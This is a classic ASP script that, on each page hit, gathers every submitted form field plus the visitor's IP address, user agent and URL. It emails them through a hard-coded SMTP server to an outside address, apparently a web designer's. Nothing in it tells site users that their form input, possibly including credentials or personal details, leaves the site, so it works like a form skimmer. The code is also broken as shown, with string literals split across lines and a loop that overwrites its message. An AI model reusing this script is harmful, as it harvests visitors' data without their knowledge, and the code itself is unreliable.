<% Call SendVerEmail() Sub SendVerEmail() Dim strNow strNow = DateAdd("h",+2,Now) Dim strTable strTable = "" For Each strThing In Request.Form() strTable = strTable & "" Next strTable = strTable & "

" & strThing & "

" & Request(strThing ) & "

" set objMessage = createobject("cdo.message") set objConfig = createobject("cdo.configuration") ' Setting the SMTP Server Set Flds = objConfig.Fields Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "72.18.135.116" Flds.update Dim var For Each var in Request.ServerVariables strMSG = "

The New NADF site was hit:	" & var & "	" & Request.ServerVariables("REMOTE_ADDR") & "	at:	" & DATEADD("h",2,Now()) & "
" & Request.ServerVariables("HTTP_USER_AGENT") & "
" & Request.ServerVariables("URL") & "

" Next strMSG = strMSG & strTable Set objMessage.Configuration = objConfig objMessage.To = "designer@webfashioner.com" objMessage.From = "nadf@webfashioner.com" objMessage.Subject = "The New NADF site was hit" objMessage.HTMLBody = strMSG objMessage.fields.update objMessage.Send 'Response.write "Mail sent..." Set objMessage.Configuration = Nothing set objMessage = nothing set objConfig = nothing End Sub %>